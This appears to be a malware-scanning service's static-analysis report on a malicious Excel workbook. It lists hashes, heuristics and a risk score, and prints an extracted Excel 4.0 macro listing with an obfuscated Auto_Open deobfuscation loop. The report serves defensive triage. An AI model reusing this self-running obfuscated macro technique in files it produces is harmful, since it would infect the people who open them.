Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2d1c0ab266ec21cf…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:46:11 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: ec31b279824a53f5d10518f8a1288c6e SHA-1: 4895d540e5ac3b4fa0d3eba70e734412d073e1e9 SHA-256: 2d1c0ab266ec21cf14cc5c162e17eb08fd9e55e5da1cb2a1b1fe9bd7e5eb0f5b
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6614 bytes
SHA-256: 21b741c52a3610df132ed32d34a7b538726857e7326386ab2d6289e856c99435
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 38 identifiers look randomly generated (e.g. 'TpkTsahPhexv') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GlTwdsyZuDE
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C136 
' 0018     22 LABEL : Cell Value, String Constant - BbgOkZh len=0 
' 0018     23 LABEL : Cell Value, String Constant - DxSKGREO len=0 
' 0018     24 LABEL : Cell Value, String Constant - eLuHaZqHb len=0 
' 0018     21 LABEL : Cell Value, String Constant - gGwDGa len=0 
' 0018     21 LABEL : Cell Value, String Constant - HGKlpZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - Hytus len=0 
' 0018     27 LABEL : Cell Value, String Constant - KARmEoygvnUc len=0 
' 0018     24 LABEL : Cell Value, String Constant - LRKWsQjkX len=0 
' 0018     23 LABEL : Cell Value, String Constant - lsUbWSvi len=0 
' 0018     25 LABEL : Cell Value, String Constant - OXCswfGXuG len=0 
' 0018     24 LABEL : Cell Value, String Constant - rWxdxYYzk len=0 
' 0018     22 LABEL : Cell Value, String Constant - SJlxrTu len=0 
' 0018     27 LABEL : Cell Value, String Constant - TpkTsahPhexv len=0 
' 0018     27 LABEL : Cell Value, String Constant - UxHmDoulsqhD len=0 
' 0018     24 LABEL : Cell Value, String Constant - VNTndWIaO len=0 
' 0018     20 LABEL : Cell Value, String Constant - vRbFP len=0 
' 0018     25 LABEL : Cell Value, String Constant - wgPrTMjyiS len=0 
' 0018     24 LABEL : Cell Value, String Constant - WYkusPyIK len=0 
' 0018     20 LABEL : Cell Value, String Constant - XIgDr len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZTTDxnO len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GlTwdsyZuDE,C44,"SET.NAME("Hytus",VALUE("0"))",""
'  GlTwdsyZuDE,C48,"SET.NAME("TpkTsahPhexv",Hytus)",""
'  GlTwdsyZuDE,C52,"SET.NAME("lsUbWSvi",Hytus)",""
'  GlTwdsyZuDE,C55,"SET.NAME("VNTndWIaO",COUNTA(WYkusPyIK))",""
'  GlTwdsyZuDE,C58,"SET.NAME("UxHmDoulsqhD",COUNTA(DxSKGREO))",""
'  GlTwdsyZuDE,C62,[],""
'  GlTwdsyZuDE,C67,"SET.NAME("rWxdxYYzk","")",""
'  GlTwdsyZuDE,C71,"TpkTsahPhexv",""
'  GlTwdsyZuDE,C76,"SET.NAME("wgPrTMjyiS",HLOOKUP("*",WYkusPyIK,TpkTsahPhexv,FALSE))",""
'  GlTwdsyZuDE,C81,"LRKWsQjkX",""
'  GlTwdsyZuDE,C84,"SET.NAME("ZTTDxnO",Hytus)",""
'  GlTwdsyZuDE,C87,[],""
'  GlTwdsyZuDE,C89,"ZTTDxnO",""
'  GlTwdsyZuDE,C94,"OXCswfGXuG",""
'  GlTwdsyZuDE,C96,"KARmEoygvnUc",""
'  GlTwdsyZuDE,C101,"gGwDGa",""
'  GlTwdsyZuDE,C105,"SET.NAME("vRbFP",VALUE(HLOOKUP("*",DxSKGREO,gGwDGa,FALSE)))",""
'  GlTwdsyZuDE,C109,"eLuHaZqHb",""
'  GlTwdsyZuDE,C112,"rWxdxYYzk",""
'  GlTwdsyZuDE,C114,"lsUbWSvi",""
'  GlTwdsyZuDE,C117,NEXT(),""
'  GlTwdsyZuDE,C122,"XIgDr",""
'  GlTwdsyZuDE,C125,"SET.NAME("f",INT(T(FORMULA(T(rWxdxYYzk)&"",""&T(XIgDr)))))",""
'  GlTwdsyZuDE,C130,"HGKlpZ",""
'  GlTwdsyZuDE,C132,NEXT(),""
'  GlTwdsyZuDE,C134,RETURN(),""
'  GlTwdsyZuDE,C156,"SET.NAME("BbgOkZh",C44)",""
'  GlTwdsyZuDE,C158,"WYkusPyIK",""
'  GlTwdsyZuDE,C162,"SET.NAME("DxSKGREO",R98C13)",""
'  GlTwdsyZuDE,C167,"SET.NAME("HGKlpZ",176)",""
'  GlTwdsyZuDE,C170,"SET.NAME("SJlxrTu",3)",""
'  GlTwdsyZuDE,C175,BbgOkZh(),""
'  GlTwdsyZuDE,C176,HALT(),""